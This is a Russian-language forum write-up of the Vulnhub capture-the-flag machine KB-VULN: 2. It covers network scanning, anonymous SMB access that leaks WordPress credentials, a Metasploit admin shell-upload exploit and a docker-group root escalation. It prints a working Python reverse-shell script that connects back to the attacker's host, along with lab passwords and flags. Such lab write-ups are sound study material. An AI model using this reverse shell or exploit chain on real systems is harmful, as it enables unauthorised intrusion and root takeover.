CTF Дыра в docker или Writeup KB-VULN: 2 Vulnhub

Приветствую!

Это продолжение прохождения серии коробок с Vulnhub - KB-VULN. Прохождение предыдущей машины можно посмотреть тут.

В данной статье представлено прохождение машины KB-VULN: 2 ( Найти и скачать коробку можно тут KB-VULN: 2 ).

Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Машина, с которой проводится атака с ОС Kali Linux.
Задача: получить 2 флага с целевой машины и права пользователя root.

Итак, как обычно, ищем атакуемую машину в сети:
~$ sudo netdiscover

У меня в сети ip целевой машины = 192.168.3.133.
И просканировав её nmap'ом, видим, что открыты порты для 3-х сервисов:
~$ nmap -A -p- -v 192.168.3.120

1638526884196.png


А именно: 21 порт с ftp, 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Для начала следует посмотреть в самбу, вдруг там есть что-то с открытым доступом:
~$ smbmap -H 192.168.3.133

1638527873564.png


Видим, что каталог Anonymous доступен для чтения, без авторизации, посмотрим, что в нем (пароль оставляем пустым, просто жмем ENTER):
~$ smbclient //192.168.3.133/Anonymous

1638528140755.png


После подключения, видно что в каталоге есть всего 1 файл - архив backup.zip, стягиваем его на основную машину и посмотрим, что же внутри.
Распаковав архив видно, что внутри есть логин и пароль:

1638528362103.png


Судя по всему, это учетные данные от админки сайта, но пока оставим их и посмотрим, что интересного есть на сайте:
~$ sudo dirsearch -u 'http://192.168.3.133' -e js,htm,php,bak,html,txt,jpg,png,jpeg -w /usr/share/dirb/wordlists/big.txt -r -f

1638528535508.png


Тут сразу видно директорию /wordpress.
Догадка подтвердилась, в бэкапе были данные для авторизации, но прежде, чем лезть в форму авторизации, нужно чуть-чуть подправить файл hosts:
~$ sudo echo "192.168.3.133 kb.vuln" >> /etc/hosts

И теперь, перейдя на веб-сайт (http://kb.vuln/wordpress) видим корректно работающую форму авторизации:

1638529333396.png


Учетные данные, найденные ранее подходят. Теперь есть несколько путей залить шелл на сервер - уязвимые плагины, замена файла 404.php, в темах (однако в данном случае это не работает, заливать придется через ftp) и др.

Я буду использовать один из эксплоитов в metasploit, для wordpress, который требует авторизации:
~$ msfconsole msf6 > use exploit/unix/webapp/wp_admin_shell_upload msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.3.133 msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password MachineBoy141 msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

1638529912617.png


Вот мы и внутри, самое время пойти и забрать заслуженный первый флаг:
meterpreter > cd /home/kbadmin
meterpreter > cat user.txt
03bf4d20dac5644c75e69e40bad48db0

1638530023836.png


Еще мне захотелось чуток улучшить шелл, закинув на сервер python скрипт, открывающий доступ к bash:
Собственно сам rev.py:
Python:
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.131",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

1638530386519.png


На основной машине развернул прослушиватель

1638530558546.png


И, из метерпретера, запустил rev.py:

1638530635271.png


Проверка, какие пользователи есть в системе, показала, что, помимо рута, существует только один пользователь, чью домашнюю директорию мы и посещали (kbadmin):
[email protected]:/home/kbadmin$ cat /etc/passwd

1638530756412.png


Итак, теперь у нас есть пользовательский флаг, стабильный шелл и имя пользователя. Если честно тут я завис на довольно долгое время, пытаясь получить доступ к учетке юзера kbadmin, пока не додумался, при ввести тот же пароль, что и для админки на сайте (MachineBoy141). И, о чудо, это сработало:
[email protected]~$ ssh [email protected] Password: MachineBoy141

1638531007848.png


Ура, теперь наконец можно начать получать рут. Первым делом стоит прочитать содержимое файла note.txt, который лежит в домашней директории пользователя, рядом с флагом:

1638531142871.png


Подсказка гласит использовать докер. И тут я нова завис, я пробовал идти другими путями, но в конце-концов решил следовать подсказке и перелопатив половину интернета, я наткнулся на замечательную статью, объясняющую, почему следует отказаться от использования группы "docker" и не добавлять в неё кого попало: вот_она и соответствующий гит-репозиторий вот_он. В статье описана уязвимость докера, позволяющая получить root оболочку любому пользователю, который является членом группы "docker", рекомендую статью к прочтению (я вот не знал данной информации и для меня она оказалось очень интересной и полезной). Таким образом, всего одной командой можно получить рут:
[email protected]:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

Данная команда получает образ Docker, созданный автором приведенной выше статьи, из реестра Docker Hub и запускает его.

Параметр -v, говорит, что мы хотим создать том в экземпляре Docker, а параметры -i и -t переводят докер в режим оболочки, вместо запуска демона.

1638532362718.png


И в результате мы получаем рут.

Теперь идем и спокойно забираем флаг:
[email protected]:~# cat /root/flag.txt
dc387b4cf1a4143f562dd1bdb3790ff1

С машиной KB-VULN:2 разобрались, так что пора заканчивать. Если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку, интересно посмотреть.

Спасибо всем, кто дочитал этот врайтап до конца.
 
Последнее редактирование модератором:
  • Нравится
Реакции: Leo Ilyushkin, Mogen и Sag
Мы в соцсетях: